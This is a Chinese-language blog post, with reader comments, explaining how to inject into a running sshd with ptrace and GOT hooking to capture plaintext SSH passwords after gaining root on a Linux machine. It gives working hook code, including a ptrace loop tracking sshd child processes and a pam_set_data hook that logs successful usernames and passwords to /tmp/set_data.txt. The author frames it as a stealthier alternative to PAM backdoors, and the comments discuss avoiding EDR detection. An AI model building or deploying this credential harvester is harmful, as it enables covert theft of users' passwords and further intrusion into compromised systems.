分析并HOOK SSHD来劫持密码

请注意,本文编写于 657 天前,最后修改于 656 天前,其中某些信息可能已经过时。

前言

项目地址:sshdHooker,开箱即用,但是只支持x64。

当我们通过洞,拿到一台linux机器的最高权限的时候,我们基本都想扩大战果。然而和windows不同,linux的加密方式除了某些特别远古版本的系统,大部分系统加密强度都是很高的,而且又没有类似lsass这样的东西甚至会把明文密码记录内存,也没有NTLM这种好用的通用token,所以基本都是使用一些特殊的方式记录密码。例如PAM,就比如我这个文章:一般路过PAM后门 / SSH密码记录

改PAM有个很大的过程,那就是需要编译和替换文件,这个过程中,会遇到一个很大的问题,那就是编译版本和经常性的爆炸。那么问题来了,我们都拿到root了,就没有一种,简单粗暴的方法嘛?

在上面文章中,我们可以看到,使用strace监控所有文件调用,我们可以成功的在栈指行过程中记录到我们收到的密码明文。使用strace的优点是比如重编译PAM和替换文件,直接进行一个读取对于我们来说爆炸的几率实在是太低了。唯一的缺点就是直接用strace,生成的数据量实在是太多了,而且我们也没办法找到登陆的密码是否是我们想要的密码。

那么有没有什么办法,用类似strace的形式,读取内存并且过滤出我们想要的东西呢?这就是我们今天讨论的内容。

流程分析

先总结一下我们有什么,strace,是使用ptrace直接记录系统调用的,基本就是ptrace监听attach。所以我们的目标也很明确,就是使用ptrace整一个花活。

最开始的设想,是整一个监控栈指行的地方,直接定位到相关地址,然后检查栈的内容(传入的参数),转念一想,这不就是HOOK一个地址,然后把参数跳转到我们的函数,然后去检查传入内容,最后再把原始数据丢回原函数(地址)

正好,我们手头里之前研究过了一个东西,那就是linux下的进程注入器:Linux下进程隐藏 二 -- 进程注入(So注入)

可以注入到内存之后,就要来一个经典问题:HOOK哪里?怎么HOOK?

HOOK哪里-PAM调用机制

一般路过PAM后门 / SSH密码记录 文章可以看到,我们的unix_pam.so是用来进行密码验证的模块

// linux-pam/modules/pam_unix/pam_unix_auth.c
int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{
    unsigned long long ctrl;
    int retval, *ret_data = NULL;
    const char *name;
    const char *p;

    D(("called."));

    /* .....省略... */

    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;

    AUTH_RETURN;
}

然而通过观察目录下其他文件,我们可以发现,其他模块也有 pam_sm_authenticate这个函数。该项目属于libpam,是sshd一个下属的模块之一,用于控制PAM模块。

我们观察了一下该目录下的其他模块,也都有 pam_sm_authenticate 之类的函数,那么我们大胆猜测一下,会不会是sshd的操作流程是

  • sshd启动
  • 加载libpam
  • libpam搜索目录下所有文件
  • libpam 动态加载pam_sm_authenticate
  • pam模块导入成功

猜想没有用,还是得看源码是怎么写的。于是乎,直接在项目进行搜索。我们成功在pam_handle下发现了相关代码

int _pam_add_handler(pam_handle_t *pamh
             , int handler_type, int other, int stack_level, int type
             , int *actions, const char *mod_path
             , int argc, char **argv, int argvlen)
{
    struct loaded_module *mod = NULL;
    struct handler **handler_p;
    struct handler **handler_p2;
    struct handlers *the_handlers;
    const char *sym, *sym2;
    char *mod_full_path;
    servicefn func, func2;
    int mod_type = PAM_MT_FAULTY_MOD;

    D(("called."));
    IF_NO_PAMH("_pam_add_handler",pamh,PAM_SYSTEM_ERR);

    D(("_pam_add_handler: adding type %d, handler_type %d, module `%s'",
    type, handler_type, mod_path));

    if ((handler_type == PAM_HT_MODULE || handler_type == PAM_HT_SILENT_MODULE) &&
    mod_path != NULL) {
    if (mod_path[0] == '/') {
        mod = _pam_load_module(pamh, mod_path, handler_type);
    } else if (asprintf(&mod_full_path, "%s%s",
                 DEFAULT_MODULE_PATH, mod_path) >= 0) {
        mod = _pam_load_module(pamh, mod_full_path, handler_type);
        _pam_drop(mod_full_path);
    } else {
        pam_syslog(pamh, LOG_CRIT, "cannot malloc full mod path");
        return PAM_ABORT;
    }

    if (mod == NULL) {
        /* if we get here with NULL it means allocation error */
        return PAM_ABORT;
    }

    mod_type = mod->type;
    }

    if (mod_path == NULL)
    mod_path = UNKNOWN_MODULE;

    /*
     * At this point 'mod' points to the stored/loaded module.
     */

    /* Now define the handler(s) based on mod->dlhandle and type */

    /* decide which list of handlers to use */
    the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf;

    handler_p = handler_p2 = NULL;
    func = func2 = NULL;
    sym2 = NULL;

    /* point handler_p's at the root addresses of the function stacks */
    switch (type) {
    case PAM_T_AUTH:
    handler_p = &the_handlers->authenticate;
    sym = "pam_sm_authenticate";
    handler_p2 = &the_handlers->setcred;
    sym2 = "pam_sm_setcred";
    break;
    case PAM_T_SESS:
    handler_p = &the_handlers->open_session;
    sym = "pam_sm_open_session";
    handler_p2 = &the_handlers->close_session;
    sym2 = "pam_sm_close_session";
    break;
    case PAM_T_ACCT:
    handler_p = &the_handlers->acct_mgmt;
    sym = "pam_sm_acct_mgmt";
    break;
    case PAM_T_PASS:
    handler_p = &the_handlers->chauthtok;
    sym = "pam_sm_chauthtok";
    break;
    default:
    /* Illegal module type */
    D(("_pam_add_handler: illegal module type %d", type));
    return PAM_ABORT;
    }

    /* are the modules reliable? */
    if (mod_type != PAM_MT_DYNAMIC_MOD &&
     mod_type != PAM_MT_FAULTY_MOD) {
    D(("_pam_add_handlers: illegal module library type; %d", mod_type));
    pam_syslog(pamh, LOG_ERR,
            "internal error: module library type not known: %s;%d",
            sym, mod_type);
    return PAM_ABORT;
    }

    /* now identify this module's functions - for non-faulty modules */

    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func = _pam_dlsym(mod->dl_handle, sym)) ) {
    pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym);
    }
    if (sym2) {
    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func2 = _pam_dlsym(mod->dl_handle, sym2)) ) {
        pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym2);
    }
    }
/* ..... 后面省略*/

我们直接看到_pam_dlsym_pam_dlopen,基本可以证明我们的猜想。

就是libpam是通过dlopen和dlsym动态加载的。我们只要hook了dlopen和dlsym,判断是否是pam_unix.so的不就行了?

(然而以上只是理论可行,实际上注入的时候不知道为什么老是HOOK不到dlopen的GOT表,出了一点问题,不知道为什么,百思不得姐,最后还是使用了其他方式,但是原理还是一样的,这个后面再说)

怎么HOOK?-GOT HOOK

最最最简单的办法是,inline hook,直接找到API地址,然后修改他们开头的字节,直接jmp到我们的函数地址,然后等我们函数执行完的时候再还原。

然而有个问题是,这是windows api的修改方法,我们这个是linux,修改的是外部so加载的地址。所以我们得转变个思路:我们是如何调用一个所加载so的导出函数地址的?这就涉及到了另一个东西,GOT表。大概意思就是这个表中加载的所有so的导出地址,有函数名->对应映射基地址等,只需要把这个表所对应的导出地址修改成我们函数的地址即可。

好,二话不说,github找段代码: inject_got,把这玩意编译成so文件拿去注入就OK了

现在我们有能力直接HOOK我们想要的函数了。

验证猜想

既然要素齐全,比起先上手写代码,我们可以先试试,最快速的验证方式是直接GDB打个断点,然后使用SSH连接,看看我们能否hook到dlopen就知道了。然后我们就照做了。

1.png
1.png

可以看到,我们用gdb直接载入sshd之后,用b给dlopen下了一个断点。结果并没有什么卯月,还给我们了弹了两个process 1401834 is executing new program: /usr/sbin/sshd 新子进程创建的提示。大胆猜测,会不会是这两个子进程是分开用来处理ssh登录请求的呢?我们真实要注入的地址其实是这些子进程?

我们通过ssh脸上自己之后,使用pstree来查看子进程。

2.png
2.png

可以看到sshd之后又跟了两个子进程,我们挨个挂载。直接b 跟进子进程

3.png
3.png

可以发现,并没有什么卯月,然而实际上,可能只是我们注入的时间晚了的缘故,在我们注入之前,这些函数都调用完了。还是继续回到strace来看看这些到底是如何做到的。

首先我们先看子进程是如何创建的。我们用strace记录了sshd进程再ssh接收到登录并且密码输入正确的时候(我截图的这个stree日志是之前记录的,那时候sshd的pid是9731)

4.png
4.png

在第一个子进程出现的时候,sshd调用了clone调用

9731  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...>
10242 set_robust_list(0x7f5ee78fbbe0, 24 <unfinished ...>
9731  <... clone resumed>, child_tidptr=0x7f5ee78fbbd0) = 10242

创建了子进程10242之后,clone返回了子进程的pid。

之后再有子进程调用clone,创建了子子进程10249

10242 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc005b0dbd0) = 10249

符合之前pstree看到的结果。

然后再看我们的pam模块是怎么加载的,直接搜索.so相关的

5.png
5.png

可以看到,进行so相关操作的是由第二个子进程操作处理的,所以我们重点目光看向那就行。

监控子进程

既然每个ssh连接是由不同的子进程处理的,那么我们只注入sshd进程肯定是不行的了。因为子进程才是关键,根据strace结果,我们知道系统是调用了clone,并且还能拿到结果,那么就简单了,直接使用pstrace,拦截syscall调用就行,根据syscall调用表,我们知道clone的调用号是56。

大概伪代码如下

    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        pthread_t id;
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);// 获得调用号值
        if(num == 56){ // 是调用了clone
            printf("system call num = %ld\n", num);
            ptrace_getregs( target_pid, &regs ); // 获得调用结果
            printf("Process maybe = %ld \n", regs.rax); 
            subprocess = regs.rax;
            // do_something(subprocess);
        }
    }

控制注入顺序

然而,知晓了clone创建的时间,还是不能直接HOOK进去修改dlopen。因为这时候注入进去,会发生一个问题,我们以上的那些模块操作都是在libpam中进行的,而我们这个进程并不是直接在子进程中的,所以如果我们直接使用上述的inject_got注入进去,会没办法修改到libpam中的dlopen。

直接看代码,原始代码inject_got中的代码应该是这样

/* .... */
char buf[MAX_BUF_SIZE] = {0}; 
int err = get_exe_name(buf, sizeof(buf));
void* base_addr = get_module_base(getpid(),buf); // 注意这个buf,这个buf是读取自身进程
/* .... */

其中get_module_base的作用是从/prof/pid/maps里读取模块的基地址,然后再载入内存ELF进行GOT表查找的,这里原始函数查找的是主模块(自身进程)的基地址,即便修改了主模块的GOT,libpam里的是不会照着主模块的GOT进行执行的,必须修改到libpam的GOT表。

6.png
6.png

但是根据上述所说,直接clone的时候就注入,libpam还没有载入到内存中,maps里就找不到基地址,修改GOT就更无从谈起,因此我们需要一个函数来判断libpam的加载,最简单的办法就是HOOK openat调用号进行判断。我们在我们原始的注入程序中加入以下判断

int WaitforLibPAM(pid_t target_pid){
    struct user_regs_struct regs;
    if ( ptrace_attach( target_pid ) == -1 ){

        printf("WaitforLibPAM attach Failed\n" );
        return -1;
    }
    if ( ptrace_getregs( target_pid, &regs ) == -1 ){
        printf("-- Getregs Error\n" );
        return -1;
    }
    //ptrace_continue( target_pid );
    long num,bit=0,finded = 0;
    char *path = malloc(255);
    char libsystemd[] = "common-session";
    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
            //printf("++ SubProcess: system call num = %ld\n", num);
        if(num ==257){
            ptrace_getregs( target_pid, &regs ) ;
            printf("++ SubProcess: rsi :%p\n",regs.rsi);
            //ptrace_writedata(target_pid,regs.rip,local_code_ptr,code_length );
            //ptrace_continue( target_pid );
            ptrace_readdata(target_pid,(void *)regs.rsi,path,255);
            printf("++ SubProcess:openat path :%s\n",path);
            if(strstr(path,libsystemd)){
                ptrace_detach(target_pid);
                // do_inject_so(target_pid);
                break;
            }
        }
    }
}

通过strace判断,打开common-session文件在打开libpam.so文件之后,因此只要判断openat打开了common-session就能知道libpam已经被加载了。

然后把inject_got中的代码修改一下

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1");

这样后续的修改GOT就会是修改libpam的GOT了

过程控制-读取密码

回到上面的pam_unix_auth.c,我们知道了所有的函数都会调用pam_sm_authenticate,那么我们如何知道其中的密码,和如何判断密码正确?我们先看密码如何获取

直接看到pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)的第一个参数pamh,它是一个pam_handle_t结构如下,

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
    struct pam_data *data;
    struct pam_environ *env;      /* structure to maintain environment list */
    struct _pam_fail_delay fail_delay;   /* helper function for easy delays */
    struct pam_xauth_data xauth;        /* auth info for X display */
    struct service handlers;
    struct _pam_former_state former;  /* library state - support for
                     event driven applications */
    const char *mod_name;    /* Name of the module currently executed */
    int mod_argc;               /* Number of module arguments */
    char **mod_argv;            /* module arguments */
    int choice;            /* Which function we call from the module */

#ifdef HAVE_LIBAUDIT
    int audit_state;             /* keep track of reported audit messages */
#endif
    int authtok_verified;
    char *confdir;
};

很多看不懂的结构体甚至还有一个ifdef是不是?肯定有人会问了,"这ifdef,说明这玩意的结构长度不定长,它函数传的又是指针,我们怎么知道它具体偏移是多少如果传错了咋办呀?"

其实,我们真正需要的只有authtokuser,这两个成员地址,这两个偏移量是始终固定的,后续的成员要不要都无所谓,所以在我们的inject_got中只需要定义成如下

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
};

即可,反正传给我们的是指针,我们根据偏移读取到了账号和密码再把指针原封不动的传给原函数就行。

能获取到密码之后,我们就需要判断是如何验证密码了,继续看到unic_pam_auth.c,直接看到函数最后两行

retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;
    AUTH_RETURN;

通过理解代码,_unix_verify_password就是用来验证账号密码的,如果账号密码正确,retval返回值就是PAM_SUCCESS(定义为0),那么后续呢?我们直接看AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

可以看到retval就直接被返回回去了。所有条件达成。
我们只需要做一个HOOK函数

int my_pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{

    int ret = old_pam_sm_authenticate(pamh,module_data_name,data,cleanup);
    if(ret==0){
        printf("login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        // do something
    }
    return ret;
}

组合-理想

通过组合所有条件,我们手里有一个注入器,一个so(inject_got),我们的流程基本就是。

  • 注入器注入SSHD
  • 注入器HOOK系统调用clone,判断子进程出现
  • 注入器注入子进程
  • 注入器HOOK子进程OPENAT,判断libpam是否装载完毕
  • libpam装载完毕,注入so文件(inject_got)
  • inject_got查找libpam中dlopen和dlsym的got并修改为my_dlopen和my_dlsym
  • 等待执行dlopen时,跳转到my_dlopen
  • my_dlopen 记录下pam_unix.so 的 handle 地址,之后正常指行dlopen
  • 等待指行dlsym时候,跳转到my_dlsym
  • my_dlsym判断加载的请求是否是pam_sm_authenticate
  • my_dlsym判断加载的handle是否是pam_unix.so
  • my_dlsym所有条件符合,把函数地址修改成my_pam_sm_authenticate
  • 等待原本pam_unix.so中的pam_sm_authenticate将被执行时,跳转到my_pam_sm_authenticate
  • my_pam_sm_authenticate记录下用户密码,跳转到原始pam_sm_authenticate
  • 判断原始pam_sm_authenticate是否为PAM_SUCCESS=0,是则代表密码正确,记录
  • 密码记录完成

组合-现实

这是理想情况,然而可恶的是,tmd不知道为什么inject_so老是无法修改dlopen的,倒是能找到dlsym的GOT表并修改,就很蛋疼,光有dlsym的函数地址也不是不行,但是问题就在于,调用pam_sm_authenticate的不止一个so,我不知道哪个handle是属于pam_unix.so的pam_sm_authenticate,不同的so文件中pam_sm_authenticate的返回值代表的也不一样。

本来想着能不能通过dlsym的handle,逆回去看看handle所对应的路径,然而看了下相关源码(linux就是这点好,可以遇事不决看源码),并没有相关操作。于是乎寄,我们只能找到另外HOOK点。

我们再次回到_unix_verify_password结束后流程中来,为什么直接看到这之后?因为这之前的代码是无法判断密码是否正确,所以哪怕HOOK了也没用。_unix_verify_password后的操作只有一个,那就是AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

我们把木管看向pam_set_data,又有独一无二的字符串(指unix_setcred_return)让我们确认是属于位于这里的pam_set_data,又有先前_unix_verify_password运行后的结果的值(指*ret_data = retval;

于是乎,我们很容易的就可以把目光转移到这个函数上来,这个函数在pam_unix.so中,所以我们要把之前的基地址从libpam改为pam_unix.so

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/security/pam_unix.so");

然后,我们在做一个hook函数

int my_pam_set_data(struct pam_handle *pamh, const char *module_data_name, void *data,void* cleanup)
{

        char unix_setcred_return[] = "unix_setcred_return";
        if(strstr(unix_setcred_return,module_data_name)){
        FILE *fp = NULL;
        fp = fopen("/tmp/set_data.txt", "a+");
        void * test = malloc(sizeof(int));
        fprintf(fp,"pam module_data_name: %s %d\n",module_data_name,*(int *)data);
        int ret = *(int*)data;
        if(ret == 0){
                fprintf(fp,"login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        }
        fclose(fp);
        } 
        //if(strstr(module_data_name,unix_setcred_return)){
        //while(1){} }
    return old_pam_set_data(pamh,module_data_name,data,cleanup);
}

这样就大功告成辣!

添加新评论

已有 2 条评论

修改pam模块也可以记录密码。
参考链接:https://github.com/mthbernardes/sshLooterC

⑨BIE ⑨BIE 回复 @tgirlm

俺也有搞过一个,改PAM确实挺好的,简单稳定,但是有时候不怕一万就怕万一,直接给改boom了,或者操作了文件被EDR记录了。。。当然促使我整这玩意不用PAM的原因是遇到了个ldap认证的。一改就把别人原本的功能给替换了然后人家服务就boom了然后我就被发现了。。。所以我才想这能不能搞个不改服务的